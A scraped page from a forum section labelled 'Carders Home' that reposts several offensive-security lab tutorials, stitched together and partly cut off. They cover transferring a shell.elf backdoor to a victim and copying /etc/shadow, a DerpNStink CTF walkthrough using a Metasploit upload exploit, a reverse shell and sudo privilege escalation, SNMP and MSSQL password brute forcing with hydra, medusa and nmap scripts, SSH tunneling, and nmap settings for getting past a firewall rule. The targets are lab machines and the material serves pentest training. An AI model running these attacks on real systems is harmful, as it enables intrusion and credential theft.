[Image: 1.png?w=687&ssl=1]
Now you can use wget or other application for downloading shell script from remote address i.e. 192.168..1.103/shell.elf
[Image: 2.png?w=687&ssl=1]
SCP File Transfer
Secure copy protocol (SCP) is a means of securely moving any files between a local host and a remote host or between two remote hosts. It is based on the Secure Shell (SSH). Here I have created a new file scp.txt inside /home/raaz and then try to transfer this file to a remote machine with help of the following command.
Syntax: scp SourceFile user@host:~/path of the directory
scp scp.txt [email protected]:~/
1
scp scp.txt [email protected]:~/

[Image: 5.png?w=687&ssl=1]
Now let’s confirm the transformation by inspecting remote directory and as you can observe we have successfully received the scp.txt file in our remote pc.
Similarly, we can transfer any backdoor from the attacker machine to victim’s machine or can copy some system files such as /etc/passwd and /etc/shadow from the victim’s machine.
[Image: 6.png?w=687&ssl=1]


  [Guide] How to Hack the DerpNStink VM (CTF Challenge)
Posted by: NINZA - 05-14-2020, 08:28 AM - Forum: Carders Home - No Replies

Hello friends! Today we are going to take another CTF challenge known as DerpNStink. The credit for making this vm machine goes to “Bryan Smith” and it is another capture the flag challenge in which our goal is to capture all the flags to complete the challenge. You can download this VM

[To see content please register here]

.
Let’s Breach!!!
Let us start form getting to know the IP of VM (Here, I have it at 192.168.1.102 but you will have to find your own)
netdiscover
1
netdiscover

[Image: 1.png?w=687&ssl=1]
Use nmap for port enumeration
nmap -p- -A 192.168.1.102 --open
1
nmap -p- -A 192.168.1.102 --open

[Image: 2.png?w=687&ssl=1]
Nmap scan tells us port 21,22 and 80 are open. As port 80 is running http server we open the ip in our browser and run dirb scan.
dirb

[To see content please register here]


1
dirb

[To see content please register here]


[Image: 3.png?w=687&ssl=1]
Dirb scan shows that the server has wordpress, and when we open /weblog/ directory. When we open /weblog/ directory we get redirected to derpnstink.local/weblog/
[Image: 4.png?w=687&ssl=1]
So we add domain name in hosts file to get access to the site.
[Image: 5.png?w=687&ssl=1]
We first open the site using the domain to check if something has changed in website, when we take look at the source code of the page we find our first flag.
[Image: 6.1.png?w=687&ssl=1]
Now when we open

[To see content please register here]

we find that it a wordpress site.

[Image: 6.png?w=687&ssl=1]
We use wpscan to enumerate the plugins and themes and users.
wpscan –u

[To see content please register here]

--enumerate at --enumerate ap –enumerate u

1
wpscan –u

[To see content please register here]

--enumerate at --enumerate ap –enumerate u

[Image: 7.png?w=687&ssl=1]
Wpscan shows us that a plugin is exploitable.
[Image: 8.png?w=687&ssl=1]
We also find username and password to be admin for both.
[Image: 9.1.png?w=687&ssl=1]
We use metasploit to exploit this vulnerability.
msf > use exploit/unix/webapp/wp_slideshowgallery_upload
msf exploit(unix/webapp/wp_slideshowgallery_upload) > set rhost 192.168.1.102
msf exploit(unix/webapp/wp_slideshowgallery_upload) > set targeturi /weblog
msf exploit(unix/webapp/wp_slideshowgallery_upload) > set wp_user admin
msf exploit(unix/webapp/wp_slideshowgallery_upload) > set wp_password admin
msf exploit(unix/webapp/wp_slideshowgallery_upload) > exploit

1
2
3
4
5
6

msf > use exploit/unix/webapp/wp_slideshowgallery_upload
msf exploit(unix/webapp/wp_slideshowgallery_upload) > set rhost 192.168.1.102
msf exploit(unix/webapp/wp_slideshowgallery_upload) > set targeturi /weblog
msf exploit(unix/webapp/wp_slideshowgallery_upload) > set wp_user admin
msf exploit(unix/webapp/wp_slideshowgallery_upload) > set wp_password admin
msf exploit(unix/webapp/wp_slideshowgallery_upload) > exploit

[Image: 9.png?w=687&ssl=1]
After getting reverse shell we open wp-config.php and find the name of the database and the user required to access the database.
[Image: 10.png?w=687&ssl=1]
We find the username and password required through mysql.
[Image: 11.png?w=687&ssl=1]
We also find two directories we cannot access that also hints us the username.
[Image: 12.png?w=687&ssl=1]
We use the information we find in the wordpress configuration file to login through phpmyadmin.
[Image: 13.png?w=687&ssl=1]
After logging through phpmyadmin, we find two hashes in wordpress database.
[Image: 14.png?w=687&ssl=1]
We use john the ripper to crack the hashes and find a password for stinky as wedgie57.
[Image: 15.0.png?w=687&ssl=1]
When we login through wordpress using username stinky and password wedgie57, we find 2nd flag.
[Image: 15.1.png?w=687&ssl=1]
We now login to the system through user stinky and password wedgie57. Now going through the system we find our 3rd flag. We also find a pcap file.
[Image: 15.png?w=687&ssl=1]
Enumerating through the system we find a file called derpissues.txt that we hints us to use the pcap file we found earlier.
[Image: 16.png?w=687&ssl=1]
Going through the files we found a ssh key, but we were unable to login through ssh using this key.
[Image: 17.png?w=687&ssl=1]
Now we copy the pcap file into the ftp directory, to download the file into our system through ftp.
[Image: 18.png?w=687&ssl=1]
We connect to the target machine through ftp and download the pcap file into our system.
[Image: 19.png?w=687&ssl=1]
After download the file into our system we open it in wireshark and find the password for the other user.
[Image: 20.png?w=687&ssl=1]
Now we login as mrderp and take a look at the sudoers file and find that we can run a file that starts with derpy as root in /home/mrderp/binaries/derpy*
[Image: 21.png?w=687&ssl=1]
To run our file as root we create a directory called binaries in /home/mrderp/ directory
[Image: 22.png?w=687&ssl=1]
Now we create a bash script to spawn to bash shell and save it as derpy.sh
[Image: 23.png?w=687&ssl=1]
After creating the file we give it read write executable permission and run the file. As soon as we run the file we get the root shell. Going through the files in /root/Desktop directory we find a file called flag.txt, when we open it we find our 4th flag.
[Image: 24.png?w=687&ssl=1]

Simple Network Management Protocol (SNMP) is a protocol for network management. It is used for collecting information from and configuring, network devices, such as servers, printers, hubs, switches, and routers on an Internet Protocol (IP) network. It usually runs on UDP port 161.
Download from

[To see content please register here]


Create a New Virtual Machine using the VMware and change the Network Adapter to Bridged as shown in the given screenshot.
[Image: 1.PNG?w=687&ssl=1]
After completing the initial setup in the VMware Boot the Newly created Virtual Machine by clicking on the Power on the Virtual Machine.
The Default Login Credentials for Vyos are
Username: vyos
Password: vyos

1
2

Username: vyos
Password: vyos

The Initial Boot of Vyos will be as shown below:
[Image: 2.PNG?w=687&ssl=1]
This is a Live Boot of the vyos, so we will install the vyos to use it properly.
We will use the ISO image to install vyos. Type the following command:
install image
1
install image

[Image: 3.PNG?w=687&ssl=1]
Enter “Yes” where it asks to continue.
Next, it will ask about the partition management.
Enter “Auto” where it asks about Partition.
[Image: 4.PNG?w=687&ssl=1]
It will detect the drives in the Virtual System and ask you to select the particular drive in which you want to install vyos.
[Image: 5.PNG?w=687&ssl=1]
Enter “sda” where it asks about the location for installation.
Next, it will ask about the size for the root partition for the vyos.
[Image: 6.PNG?w=687&ssl=1]
You can enter any size from 1000MB to 21474MB. But it is recommended to keep it maximum i.e. 21474MB.
Next, it will ask about the name for the image.
[Image: 7.PNG?w=687&ssl=1]
By default, the name is set to the version number that is 1.1.8. You can either give a personalized name or you can leave it default.
Next, it will ask about the location to copy the sda.
[Image: 8.PNG?w=687&ssl=1]
It is recommended to keep it default.
After that, it will ask for the password to be kept for the administrator account.
By default, it is kept vyos. But from the security point of view, it is recommended to change it to something complex which is difficult to guess or brute force.
[Image: 9.PNG?w=687&ssl=1]
Now it will ask for the drive on which you want to set up GRUB Boot-loader? Again leave it to default to “sda”.
[Image: 10.PNG?w=687&ssl=1]
After that, we have completed the vyos setup. Reboot using the command
reboot
1
reboot

After reboot, it will ask for login credentials, Enter the credential that you entered during the installation.
Now we will configure the Network Interface. To do that, we will have to enter the configuration mode.
configure
1
configure

After entering into configuration mode set up the Network interface
Syntax: set interface ethernet [network interface] address [Static IPv4 Address]
set interface ethernet eth0 address 192.168.1.125/24
1
set interface ethernet eth0 address 192.168.1.125/24

Now Commit and Save the Configuration
commit
save

1
2

commit
save

After that type “exit” to get out of configuration mode and then reboot the machine using “reboot” command
We are rebooting because the configuration changes come in effect only after a reboot.
[Image: 11.PNG?w=687&ssl=1]
You can then view the interface which we configured by using the command
show interfaces
1
show interfaces

Note: Above command will run in configuration mode.
[Image: 12.PNG?w=687&ssl=1]
Start SNMP service
Now we will set up the SNMP service in the Vyos.
For that, we will enter configuration mode using the command
configure
1
configure

Now to set up the SNMP service we will need to add a community string and give it an authorization. To do that:
Syntax: set service SNMP community [community-string] authorization [auth-mode]
[community-string]: It can be anything but normally it is either public or private. But from a security point of view, it is recommended to keep it that cannot be easily guessed or brute-forced.
[auth-mode]: It is the Authorization Mode. We have two options
  1. [ro]: Read Only Authorization (It can only be used to read or extract data, we can change it using this string)
  2. [rw]: Read Write Authorization (It can be used to change the data using the string)
set service snmp community ignite123 authorization ro
set service snmp community ignite321 authorization rw

1
2

set service snmp community ignite123 authorization ro
set service snmp community ignite321 authorization rw

[Image: 13.PNG?w=687&ssl=1]
Now let’s set a user for the system.
Firstly Enter the Configuration Mode.
configure
1
configure

Now to add a user we will use the following command,
Syntax: set system login user [username] authentication plaintext-password [password]
set system login user ignite authentication plaintext-password ignite123
1
set system login user ignite authentication plaintext-password ignite123

After this commit the configuration and save it. Also, reboot the machine so that changes may take effect.
We have successfully completed the SNMP Lab in Vyos.
[Image: 14.PNG?w=687&ssl=1]
SNMP Enumeration using Kali Linux
Now that we have set up the SNMP service let’s pentest it through Kali Linux inbuilt tools one by one, where We can read and extract information using the community string that has the authorization of reading only but to change the information we will have to use the community string with the read and write authorization.
Nmap
Let’s check using nmap in Kali Linux Machine which is running on the same network.
nmap –sU –p161,162 192.168.1.125
1
nmap –sU –p161,162 192.168.1.125

[-sU]: UDP Ports as SNMP service runs on UDP port
[-p]: Specify Port Number; SNMP service runs on port 161 and 162
From given below image you can be observed that it has also shown port 161 is open.
[Image: 15.png?w=687&ssl=1]
Snmpwalk
snmpwalk is an SNMP application that uses SNMP GETNEXT requests to query a network entity for a tree of information.
snmpwalk -v1 -c ignite321 192.168.1.125
1
snmpwalk -v1 -c ignite321 192.168.1.125

Here
[-v]: Specifies what SNMP version to use (1, 2c, 3)

[-c]: Community String
From given below image you can observe all details that are specified for “STRING”
[Image: 16.png?w=687&ssl=1]
Snmpwalk
We can manipulate these details using the iso id, using another tool snmpset. Here we are renaming the host string from vyos to hacked
snmpset –v1 –c ignite321 192.168.1.125 iso.3.6.1.2.1.1.5.0.s Hacked
1
snmpset –v1 –c ignite321 192.168.1.125 iso.3.6.1.2.1.1.5.0.s Hacked

[Image: 17.png?w=687&ssl=1]
Let’s check if the changes we implemented had an effect using snmpwalk
snmpwalk –v1 –c ignite321 192.168.1.125
1
snmpwalk –v1 –c ignite321 192.168.1.125

As you can see that we have successfully change the hostname from vyos to hacked.
[Image: 18.png?w=687&ssl=1]
We can extract the number of information using snmpwalk
snmpwalk –v1 -c ignite321 192.168.1.125 1.3.6.1.2.1.25.4.2.1.2
1
snmpwalk –v1 -c ignite321 192.168.1.125 1.3.6.1.2.1.25.4.2.1.2

[Image: 19.png?w=687&ssl=1]
snmpwalk –v1 -c ignite321 192.168.1.125 1.3.6.1.2.1.6.13.1.3
1
snmpwalk –v1 -c ignite321 192.168.1.125 1.3.6.1.2.1.6.13.1.3

[Image: 20.png?w=687&ssl=1]
snmpwalk -v1 –c ignite321 192.168.1.125 1.3.6.1.2.1.25.6.3.1.2
1
snmpwalk -v1 –c ignite321 192.168.1.125 1.3.6.1.2.1.25.6.3.1.2

[Image: 21.png?w=687&ssl=1]
As the data extracted by SNMP walk is quite large we can extract that into a text file by using the command below
snmpwalk –v1 -c ignite321 192.168.1.125 > snmpout.txt
1
snmpwalk –v1 -c ignite321 192.168.1.125 > snmpout.txt

We can use gedit to view the extracted information
gedit snmpout.txt
1
gedit snmpout.txt

[Image: 22.png?w=687&ssl=1]
[Image: 23.png?w=687&ssl=1]
SNMP-Check
Like to snmpwalk, SNMP-check allows you to enumerate the SNMP devices and places the output in a very human readable friendly format. It could be useful for penetration testing or systems monitoring.
snmp-check 192.168.1.125 -p 161 -c ignite123
1
snmp-check 192.168.1.125 -p 161 -c ignite123

Here,
[-p]: To specify the port
[-c]: To specify Community String
[Image: 24.png?w=687&ssl=1]
Braa
Braa is a mass SNMP scanner. The intended usage of such a tool is, of course, making SNMP queries – but unlike snmpwalk from net-snmp, it is able to query dozens or hundreds of hosts simultaneously, and in a single process. Thus, it consumes very few system resources and does the scanning VERY fast.
Braa implements its OWN snmp stack, so it does NOT need any SNMP libraries like net-snmp.
Syntax: braa [Community-string]@[IP of SNMP server]:[iso id]
braa [email protected]:.1.3.6.*
1
braa [email protected]:.1.3.6.*

[Image: 25.png?w=687&ssl=1]
Metasploit
We can enumerate SNMP using a Metasploit module called snmp_enum.
use auxiliary/scanner/snmp/snmp_enum
msf auxiliary(scanner/snmp/snmp_enum) > set rhosts 192.168.1.125
msf auxiliary(scanner/snmp/snmp_enum) > set community ignite123
msf auxiliary(scanner/snmp/snmp_enum) > run

1
2
3
4

use auxiliary/scanner/snmp/snmp_enum
msf auxiliary(scanner/snmp/snmp_enum) > set rhosts 192.168.1.125
msf auxiliary(scanner/snmp/snmp_enum) > set community ignite123
msf auxiliary(scanner/snmp/snmp_enum) > run

We have fetched the same result from Metasploit as above.
[Image: 26.png?w=687&ssl=1]

In this article, we will learn how to gain control over our victim’s SNMP service. There are various ways to do it and let take time and learn all those because different circumstances call for a different measure.
Hydra
Hydra is often the tool of choice. It can perform rapid dictionary attacks against more than 50 protocols, including telnet, FTP, HTTP, HTTPS, smb, several databases, and much more
Now, we need to choose a word list. As with any dictionary attack, the wordlist is key. Kali has numerous wordlists built right in.
Run the following command
hydra -P /root/Desktop/pass.txt 192.168.1.125 snmp
1
hydra -P /root/Desktop/pass.txt 192.168.1.125 snmp

-P: denotes the path for the password list
Once the commands are executed it will start applying the dictionary attack and so you will have the right username and password in no time. As you can observe that we had successfully grabbed the SNMP password as ignite123.
[Image: 1.png?w=687&ssl=1]
xHydra
This is the graphical version to apply dictionary attack via SNMP port to hack a system. For this method to work:
Open xHydra in your Kali. And select Single Target option and their give the IP of your victim PC. And select SNMP in the box against Protocol option and give the port number 161 against the port option.
[Image: 2.png?w=687&ssl=1]
Now, go to Passwords tab and in Username section check the box adjacent to Protocol doesn’t require a username.
Then select Password List and give the path of your text file, which contains all the passwords, in the box adjacent to it.
[Image: 3.png?w=687&ssl=1]
Now go to the specific Tab and in the SNMP and clear the data written in the text box below the SNMP as shown in the given image.
[Image: 4.png?w=687&ssl=1]
When you will clear all entries it will look like as shown in the next image given below.
[Image: 5.png?w=687&ssl=1]
After doing this, go to the Start tab and click on the Start button on the left.
Now, the process of dictionary attack will start. Thus, you will obtain the password of your victim.
As you can see that we have the password ignite123 cracked.
[Image: 6.png?w=687&ssl=1]
Medusa
Medusa is intended to be a speedy, massively parallel, modular, login brute-forcer. It supports many protocols: AFP, CVS, FTP, HTTP, IMAP, rlogin, SSH, SNMP, and VNC to name a few
Run the following command
medusa -M snmp -h 192.168.1.125 –u ignite -P /root/Desktop/pass.txt
1
medusa -M snmp -h 192.168.1.125 –u ignite -P /root/Desktop/pass.txt

Here
-h: denotes host IP
-u: denote a particular user
But Brute forcing SNMP doesn’t require username but medusa doesn’t work without a proper syntax, you can use any username of your choice
–P:  denotes the path for the password list
As you can observe that we had successfully grabbed the SNMP password as ignite123.
[Image: 7.png?w=687&ssl=1]
Metasploit
This module will test SNMP logins on a range of machines and report successful logins. If you have loaded a database plugin and connected to a database this module will record successful logins and hosts so you can track your access.
Open Kali terminal type msfconsole
use auxiliary/scanner/snmp/snmp_login
msf auxiliary(scanner/snmp/snmp_login)> set rhosts 192.168.1.125
msf auxiliary(scanner/snmp/snmp_login)> set pass_file /root/Desktop/pass.txt
msf auxiliary(scanner/snmp/snmp_login)> set stop_on_success true
msf auxiliary(scanner/snmp/snmp_login)> run

1
2
3
4
5

use auxiliary/scanner/snmp/snmp_login
msf auxiliary(scanner/snmp/snmp_login)> set rhosts 192.168.1.125
msf auxiliary(scanner/snmp/snmp_login)> set pass_file /root/Desktop/pass.txt
msf auxiliary(scanner/snmp/snmp_login)> set stop_on_success true
msf auxiliary(scanner/snmp/snmp_login)> run

From given below image you can observe that we had successfully grabbed the SNMP password.
[Image: 8.png?w=687&ssl=1]
Nmap
We can also crack the SNMP password using nmap, execute given below command.
nmap -sU –p 161 –n --script snmp-brute 192.168.1.125 --script-args snmp-brute.communitiesdb=/root/Desktop/pass.txt
1
nmap -sU –p 161 –n --script snmp-brute 192.168.1.125 --script-args snmp-brute.communitiesdb=/root/Desktop/pass.txt

As you can see above that we have the password cracked as ignite123.
[Image: 9.png?w=687&ssl=1]
Onesixtyone
Onesixtyone is an SNMP scanner that sends multiple SNMP requests to multiple IP addresses, trying different community strings and waiting for replies.
onesixtyone 192.168.1.125 -c /root/Desktop/pass.txt
1
onesixtyone 192.168.1.125 -c /root/Desktop/pass.txt

As you can see above that we have the password cracked as ignite123 using onesixtyone
[Image: 10.png?w=687&ssl=1]

Basically, tunneling is a process which allows data sharing or communication between two different networks privately. Tunneling is normally performed through encapsulating the private network data and protocol information inside the public network broadcast units so that the private network protocol information visible to the public network as data.
SSH Tunnel:  Tunneling is the concept to encapsulate the network protocol to another protocol here we put into SSH, so all network communication is encrypted. Because tunneling involves repackaging the traffic data into a different form, perhaps with encryption as standard, a third use is to hide the nature of the traffic that is run through the tunnels.
Types of SSH Tunneling:   
  1. Dynamic SSH tunneling
  2. Local SSH tunneling
  3. Remote SSH tunneling
Let’s Begin!!
Objective:  To establish an SSH connection between remote PC and the local system of the different network.
Here I have set my own lab which consists of three systems in the following network:
SSH server (two Ethernet interface)
IP 192.168.1.104 connected with the remote system
IP 192.168.10.1 connected to local network system 192.168.10.2
SSH client (local network) holds IP 192.168.10.2
Remote system (outside the network)
In the following image, we are trying to explain the SSH tunneling process where a remote PC is trying to connect to 192.168.10.2 which is on INTRANET of another network. To establish a connection with an SSH client (raj), remote PC will create an SSH tunnel which will connect with the local system via SSH server (Ignite).
NOTE: Service SSH must be activated
[Image: 0.jpg?w=687&ssl=1]
Given below image is describing the network configuration for SSH server where it is showing two IP 192.168.1.104 and another 192.168.10.1
[Image: 1.png?w=687&ssl=1]
Another image given below is describing network configuration for SSH client which is showing IP 192.168.10.2
[Image: 2.png?w=687&ssl=1]
Dynamic SSH Tunneling through Windows
Remote Pc is trying to connect to SSH server (192.168.1.104) via port 22 and get successful login inside the server. Here we had used putty for establishing a connection between SSH server (Ubuntu) and remote user (Windows).
[Image: 3.png?w=687&ssl=1]
Similarly now Remote PC trying to connect with Client PC (192.168.10.2) via port 22, since they belong to the different network, therefore, he receives network error.
[Image: 4.png?w=687&ssl=1]
Step for Dynamic SSH tunneling
  • Choose option SSH >Tunnel given in the left column of the category.
  • Give new port forwarded as 7000 and connection type as dynamic and click on ADD at last.
[Image: 5.png?w=687&ssl=1]
Now connect to SSH server 192.168.1.104 via port 22 and then click on open when all things get set.
[Image: 6.png?w=687&ssl=1]
First, it will connect to the SSH server as you can see we are connected with SSH server (Ignite).
[Image: 7.png?w=687&ssl=1]
Now login into putty again and give IP of client system as Host Name 192.168.10.2 and Port 22 for SSH then click on open.
[Image: 8.png?w=687&ssl=1]
The open previous running window of putty choose Proxy option from the category and follow given below step:
  • Select proxy type as SOCKS 5
  • Give proxy hostname as 127.0.0.1 and port 7000
  • Click on open to establish a connection.
[Image: 9.png?w=687&ssl=1]
Awesome!! We have successfully access SSH client (raj) via port 7000
[Image: 10.png?w=687&ssl=1]
Dynamic SSH Tunneling through Kali Linux on Port 80
Now we are employing Kali Linux for SSH tunneling and demonstrating how an attacker or Linux user can take the privilege of Tunneling and can establish an SSH connection with client systems.
ssh -D 7000 [email protected]
1
ssh -D 7000 [email protected]

Enter the user’s password for login and get access to the SSH server as shown below.
[Image: 11.png?w=687&ssl=1]
Next, we need to set a network proxy for enabling socksv5 and for that follow below steps.
  • In your web browser “Firefox” go to option for general setting tab and open Network Proxy.
  • Choose No Proxy
  • Enable socksv5
Add localhost, 127.0.0.1 as Manual proxy
[Image: 12.png?w=687&ssl=1]
So from given below image, you can perceive that now we able to connect with the client: 192.168.10.2 via port 80.
[Image: 13.png?w=687&ssl=1]
Dynamic SSH Tunneling through Kali Linux on Port 22
Now connect to client machine through given below command:
ssh -D 7000 [email protected]
1
ssh -D 7000 [email protected]

[Image: 14.png?w=687&ssl=1]
Install tsocks through apt repository using the command:
apt install tsocks
1
apt install tsocks

tsocks – Library for intercepting outgoing network connections and redirecting them through a SOCKS server.
[Image: 15.png?w=687&ssl=1]
Open the tsocks.conf file for editing socks server IP and port, in our case we need to mention below two lines and then save it.
Server = 127.0.0.1
Server_port = 7000
[Image: 16.png?w=687&ssl=1]
Now connect to SSH client with the help tsocks using given below command.
tsocks ssh [email protected]
1
tsocks ssh [email protected]

Enter the password and enjoy the access of SSH client.
[Image: 17.png?w=687&ssl=1]
Local SSH Tunneling through Windows
Local tunneling is a process to access a specific SSH client machine for communication. It let you establish the connection on a specific machine which is not connected from the internet.
The only difference between dynamic tunneling and local tunneling is that dynamic tunneling requires socks proxy for tunneling all TCP traffic and local tunneling only required destination IP address.
Step for SSH Local tunneling
  • Use putty to connect SSH server (192.168.1.104) via port 22 and choose option SSH >Tunnel given in the left column of the category.
[Image: 18.png?w=687&ssl=1]
  • Give new port forwarded as 7000 and connection type as local
  • Destination address as 198.168.10.2:22 for establishing a connection with the specific client and click on ADD at last.
  • Click on open when all things get set.
[Image: 19.png?w=687&ssl=1]
First, this will establish a connection between the remote pc and SSH server.
[Image: 20.png?w=687&ssl=1]
Open a new window of putty and follow given below step:
  • Give hostname as localhost and port 7000 and connection type SSH.
  • Click on open to establish a connection.
[Image: 21.png?w=687&ssl=1]
Awesome!! We have successfully access SSH client via port 7000
[Image: 22.png?w=687&ssl=1]
Local SSH Tunneling through Kali Linux
Now again we switch into Kali Linux for local tunneling which is quite easy as compared to dynamic. Execute given below command for forwarding port to the local machine.
ssh -L 7000:192.168.10.2:22 [email protected]
1
ssh -L 7000:192.168.10.2:22 [email protected]

[Image: 23.png?w=687&ssl=1]
Now open a new terminal and type below command for connecting to SSH client.
ssh [email protected] -p 7000
1
ssh [email protected] -p 7000

Awesome!! We have successfully access SSH client via port 7000
[Image: 24.png?w=687&ssl=1]
Remote SSH Tunneling through Putty
Remote tunneling is functional when a client machine wants to access a remote system which is outward from its network.
First, need to install putty in our SSH server (ignite) and then follow given steps.
Step for remote tunneling
  • Enter remote system IP 192.168.1.108
  • Mention port 22
  • Go to SSH>tunnel options
[Image: 25.png?w=687&ssl=1]
  • Give new port forwarded as 7000 and connection type as Remote
  • Destination address as 198.168.10.2:22for establishing a connection with the specific client and click on ADD at last.
  • Click on open when all things get set.
[Image: 26.png?w=687&ssl=1]
Now the server will get connected to Remote system as shown in below image.
[Image: 27.png?w=687&ssl=1]
Come back to the remote system and enter the following command to with SSH client machine.
ssh [email protected] -p 7000
1
ssh [email protected] -p 7000

From given below image you can observe that we had successfully connected with SSH client machine via port 7000.
[Image: 28.png?w=687&ssl=1]
Remote SSH Tunneling through Ubuntu
If you are not willing to use putty for remote tunneling then you can execute the following command
ssh -R 7000:192.168.10.2:22 [email protected]
1
ssh -R 7000:192.168.10.2:22 [email protected]

Here 192.168.1.10.2 is our local client (raj) IP and 192.168.1.108 is our remote system IP.
[Image: 29.png?w=687&ssl=1]
Come back to the remote system and enter the following command to with SSH client machine.
ssh [email protected] -p 7000
1
ssh [email protected] -p 7000

From given below image you can observe that we had successfully connected with SSH client machine via port 7000.
[Image: 30.png?w=687&ssl=1]


  [Guide] 4 ways to Hack MS SQL Login Password
Posted by: NINZA - 05-14-2020, 08:27 AM - Forum: Carders Home - No Replies

In this article, we will learn how to gain control over our victim’s PC through 1433 Port use for MSSQL service. There are various ways to do it and let take time and learn all those because different circumstances call for a different measure.
Let’s start!!
Hydra
Hydra is often the tool of choice. It can perform rapid dictionary attacks against more than 50 protocols, including telnet, vnc, http, https, smb, several databases, and much more
Now, we need to choose a word list. As with any dictionary attack, the wordlist is key. Kali has numerous wordlists built right in.
Run the following command
hydra -L /root/Desktop/user.txt –P /root/Desktop/pass.txt 192.168.1.128 mssql
1
hydra -L /root/Desktop/user.txt –P /root/Desktop/pass.txt 192.168.1.128 mssql

Here,
-P:  denotes path for the password list
-L: denotes path of the username text file (sa is default user of Mssql)
Once the commands are executed it will start applying the dictionary attack and so you will have the right password in no time. As you can observe that we had successfully grabbed the MSSQL password as apple@123456
[Image: 1.png?w=687&ssl=1]
Medusa
Medusa is intended to be a speedy, massively parallel, modular, login brute-forcer. It supports many protocols: AFP, CVS, MSSQL, HTTP, IMAP, rlogin, SSH, Subversion, and MSSQL to name a few
Run the following command
medusa -h 192.168.1.128 –U /root/Desktop/user.txt –P /root/Desktop/pass.txt –M mssql
1
medusa -h 192.168.1.128 –U /root/Desktop/user.txt –P /root/Desktop/pass.txt –M mssql

Here,
-u: denotes username (sa is default user of Mssql)
-P:  denotes path for the password list
As you can observe that we had successfully grabbed the MSSQL password as apple@123456.
[Image: 2.png?w=687&ssl=1]
xHydra
This is the graphical version to apply dictionary attack via 1433 port to hack a system. For this method to work:
Enter xHydra in your Kali Linux terminal. And select Single Target option and their give the IP of your victim PC. And select MSSQL in the box against Protocol option and give the port number 1433 against the port option.
[Image: 3.png?w=687&ssl=1]
Now, go to Passwords tab and select Password List and give the path of your text file, which contains all the passwords, in the box adjacent to it.
[Image: 4.png?w=687&ssl=1]
After doing this, go to the Start tab and click on the Start button on the left.
Now, the process of dictionary attack will start. Thus, you will attain the usernameConfuseda and password of your victim.
[Image: 5.png?w=687&ssl=1]
Metasploit
This module simply queries the MSSQL instance for a specific user/pass (default is sa with blank).
use auxiliary/scanner/mssql/mssql_login
msf auxiliary(scanner/mssql/mssql_login) > set rhosts 192.168.1.128
msf auxiliary(scanner/mssql/mssql_login) > set user_file /root/Desktop/user.txt
msf auxiliary(scanner/mssql/mssql_login) > set pass_file /root/Desktop/pass.txt
msf auxiliary(scanner/mssql/mssql_login) > set stop_on_success true
msf auxiliary(scanner/mssql/mssql_login) > run

1
2
3
4
5
6

use auxiliary/scanner/mssql/mssql_login
msf auxiliary(scanner/mssql/mssql_login) > set rhosts 192.168.1.128
msf auxiliary(scanner/mssql/mssql_login) > set user_file /root/Desktop/user.txt
msf auxiliary(scanner/mssql/mssql_login) > set pass_file /root/Desktop/pass.txt
msf auxiliary(scanner/mssql/mssql_login) > set stop_on_success true
msf auxiliary(scanner/mssql/mssql_login) > run

Awesome!! From given below image you can observe the same password: apple@123456 have been found by Metasploit.
[Image: 6.png?w=687&ssl=1]
Nmap
Given below command will attempt to determine username and password through brute force attack against MS-SQL by means of username and password dictionary.
nmap -p 1433 –script ms-sql-brute –script-args userdb=/root/Desktop/user.txt,passdb=/root/Desktop/pass.txt 192.168.1.128
1
nmap -p 1433 –script ms-sql-brute –script-args userdb=/root/Desktop/user.txt,passdb=/root/Desktop/pass.txt 192.168.1.128

In the specified image, you can observe that we had successfully retrieve credential for usersUsername: sa and password: apple@123456
[Image: 7.png?w=687&ssl=1]

Hello everyone, in this article we will have a look at the different parameters that are used together to make a timing template and how to use those parameters individually according to will.
Let’s Start!!
Nmap Timing Template
As we have seen that Nmap has multiple timing templates that can be used differently as according to the requirement. Click

[To see content please register here]

to check the timing scan article. Let’s see what’s inside the timing template. to get the description of timing template we’ll use -d attribute.
nmap -T4 –d -p21-25 192.168.1.139
1
nmap -T4 –d -p21-25 192.168.1.139

Here we have multiple arguments that collectively make a timing template. Let’s have a look at them one by one.
  • Host-groups
  • Rtt-timeouts
  • Scan-delay
  • Max-retires
  • Min-rates
  • Parallelism
[Image: 1.png?w=687&ssl=1]
Maximum Retries (–max-retries)
–max-retries specifies the number of times a packet is to be resent on a port to check if it is open or closed. If –max-retries is set to 0, the packets will be sent only once on a port and no retries will be done.
nmap -p21-25 192.168.1.139 --max-retries 0
1
nmap -p21-25 192.168.1.139 --max-retries 0

[Image: 2.png?w=687&ssl=1]
Here in Wireshark, we can see that 1-1 TCP SYN packet sent to each port from source: 192.168.1.126 to destination: 192.168.1.139 are not sent again.
[Image: 3.png?w=687&ssl=1]
Now we will apply a small firewall rule on the target machine so that the packets get blocked if they come at a faster rate.
sudo iptables -I INPUT -p tcp -m state --state NEW -m recent --set
sudo iptables -I INPUT -p tcp -m state --state NEW -m recent --update --seconds 1 --hitcount 1 -j DROP

1
2

sudo iptables -I INPUT -p tcp -m state --state NEW -m recent --set
sudo iptables -I INPUT -p tcp -m state --state NEW -m recent --update --seconds 1 --hitcount 1 -j DROP

[Image: 4.png?w=687&ssl=1]
Now, the normal scan will not show any results with max-retries
nmap -p21-25 192.168.1.139 --max-retries 0
1
nmap -p21-25 192.168.1.139 --max-retries 0

[Image: 5.png?w=687&ssl=1]
As we can see that the ports whose packets got dropped are not sent again so their status is not determined.
[Image: 6.png?w=687&ssl=1]
here we can increase the max-retries value which will bypass the specified firewall filter so that we can get the exact port status.
nmap -p21-25 192.168.1.139 --max-retries 5
1
nmap -p21-25 192.168.1.139 --max-retries 5

[Image: 7.png?w=687&ssl=1]
Here we can see that TCP SYN packets sent to one port from source: 192.168.1.126 to destination: 192.168.1.139 are sent again and again until the packets return a specified reply or the maximum retry value (here 5) is reached.
[Image: 8.png?w=687&ssl=1]
Host-timeout
The –host-timeout is an attribute that specifies the scan to give up on a host after the specified time. The lesser the time specified the more are the chances of inaccuracy in scan results.
We can specify the time in milliseconds (ms), seconds (s), minutes (m)
nmap -p21-25 192.168.1.139 --host-timeout 10ms
1
nmap -p21-25 192.168.1.139 --host-timeout 10ms

[Image: 9.png?w=687&ssl=1]
Now we will try to get the result by increasing the timeout value
nmap -p21-25 192.168.1.139 --host-timeout 100ms
1
nmap -p21-25 192.168.1.139 --host-timeout 100ms

[Image: 10.png?w=687&ssl=1]
We can use –host-timeout in other scenarios also like when we need to check if the host system is live or not. Here we have shown how the host-timeout can affect the results of a ping scan.
nmap -sP 192.168.1.139 --host-timeout 10ms
1
nmap -sP 192.168.1.139 --host-timeout 10ms

The output from the above command had given 0 hosts is up.
nmap -sP 192.168.1.139 --host-timeout 100ms
1
